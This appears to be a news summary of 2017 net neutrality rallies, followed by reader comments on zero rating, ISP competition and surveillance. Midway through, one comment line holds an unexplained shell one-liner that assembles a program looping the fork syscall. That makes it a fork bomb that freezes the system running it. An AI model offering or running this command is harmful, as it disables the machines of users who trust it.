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'Face Reality! We Need Net Neutrality!' Crowd Chants Across the Country (arstechnica.com)
ArsTechnica staff took to the streets in Washington DC, New York, and San Francisco to capture rallies in support for net neutrality, a week before the FCC is scheduled to take a historic vote rolling back network neutrality regulations. From their report: Protestors say those regulations, which were enacted by the Obama FCC in 2015, are crucial for protecting an open Internet. Organizers chose to hold most of the protests outside of Verizon cell phone stores. Ajit Pai, the FCC Chairman who is leading the agency's charge to repeal network neutrality, is a former Verizon lawyer, and Verizon has been a critic of the Obama network neutrality rules. The protest that got the most attention from FCC decision makers took place on Thursday evening in Washington DC. The FCC was holding a dinner event at the Hilton on Connecticut Avenue, just north of the city's Dupont Circle area. Protestors gathered on the street corner outside the hotel, waving pro-net neutrality posters to traffic, blaring chants, projecting pro-net neutrality messages on a building across the street, and telling personal stories about what net neutrality meant to them via a megaphone. The FCC's two Democratic commissioners also joined the demonstration, Mignon Clyburn and Jessica Rosenworcel. They both gave brief speeches to the protestors, rallying for the cause and discussing the importance of a neutral Internet.
OK, so let's say the proposed change is crafted to increase competition, improve service, reduce prices, and put a chicken in every pot before 18 months are up. All these things are testable. All significant policy changes from any side should come with a test plan, a rollout plan, a success criteria and a backout plan for every stage of the rollout.
And if the effect of the policy change is too small to determine among all the other noise in the system take specific steps to address that by bundling policy changes or testing it in a smaller environment - I believe even the Chinese do that. For example, ask for state governors to volunteer their state as a testbed for policy that they believe is a great idea for the US as a whole.
Nullius in verba
Remember, these are the same kinds of people that think Shouting at the Sky is an effective tool to get Trump impeached.
You said "What is coming next: you will only be allowed to connect to the Internet by rented "approved" devices provided by a handful of companies"
Did that happen before Net Neutrality to a greater extent than it does now?
The US does have a problem with competition - but that's because companies like Comcast are given a regional monopoly of high speed internet access. Net Neutrality won't fix that. It won't even stop 'zero rating', which is the thing companies like Google are worried about.
T-Mobile Binge On doesnâ(TM)t violate Net neutrality rules, says FCC chairman
Zero rating is what that Portuguese mobile operator Meo did, and that also didn't violate EU net neutrality laws
https://truthonthemarket.com/2...
This tempest in the teacup is about mobile data plans, specifically the ability of mobile subscribers to supplement their data plan (typically ranging from 200 MB to 3 GB per month) with additional 10 GB data packages containing specific bundles of apps - messaging apps, social apps, video apps, music apps, and email and cloud apps. Each additional 10 GB data package costs EUR 6.99 per month and Meo (the mobile operator) also offers its own zero rated apps. Similar plans have been offered in Portugal since at least 2012.
These data packages are a clear win for mobile subscribers, especially pre-paid subscribers who tend to be at a lower income level than post-paid subscribers. They allow consumers to customize their plan beyond their mobile broadband subscription, enabling them to consume data in ways that are better attuned to their preferences. Without access to these data packages, consuming an additional 10 GB of data would cost each user an additional EUR 26 per month and require her to enter into a two year contract.
Even the reliably left wing Snopes pointed out that comparing Meo's Smart Net to cable where you need to choose a subset of channels is bullshit
https://www.snopes.com/portuga...
Except Portugal does practice net neutrality, and the graphic doesn't accurately depict what Portugal's internet looks like overall.
The European Union's Body of European Regulators for Electronic Communications (BEREC) established net neutrality guidelines in 2015. Portugal is a member of the European Union, so its internet providers must comply.
The service promoted in the MEO graphic, "Smart Net," is essentially a menu of add-ons to the company's standard mobile data service plan. Contrary to the way it's been presented, it doesn't limit users' access to particular apps or sites. Rather, it lays out prepackaged options via which MEO customers can add extra gigabytes of data usage to their mobile phone plans (similar to Vodafone's "Passes" offerings).
And of course there are other plans than Smart Net and other telcos than Meo in Portugal, just like when T Mobile launched Binge On, you had other choices of telco. And other plans.
Actually in most places other than the US you've typically got a choice of ISPs for your fixed internet connection. E.g. you can choose between multiple DSL providers in the UK. And, if you live in a city probably cable and fibre ones too.
US regulations stifle competition, and those are the regulations you should worry about. Not that your mobile company offers you a deal where it costs EUR 6.99 to get 10GB to a subset of websites instead of EUR 26 for a neutral 10 GB.
All it means is that if you spend all your time on Facebook and Youtube, you can get 10GB of data to those for EUR 6.99 instead of having to pay EUR 26.
Of course Google and Facebook hate this because they think the ISPs will charge them to be zero rated. But who cares? Google and Facebook suck just as ba
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
For example, every single car is being tracked. Yes it is, I've seen the system in action.
Nice try. They have had the ability to track most cars since the 1990s but the AMPS system lacked the bandwidth to track all of them. I remember being a hacker in the 90s, we thought that the government had massive capabilities way beyond our own. Turns out we were way better at breaking into computers than the NSA or CIA was. They're still struggling to catch up.
I've talked with numerous friends who went on to contract for the NSA, they've said disturbing things but they certainly aren't in awe of our electronic spying capabilities.
You don't talk like someone who has seen the beast with their own eyes. Because when you see it, it's bad, it's big, it's bad and it's laughably incompetent. The only ones I've encountered who are impressed are OUTSIDERS from the law enforcement, intelligence, military, and diplomatic communities. Real nerds roll their eyes.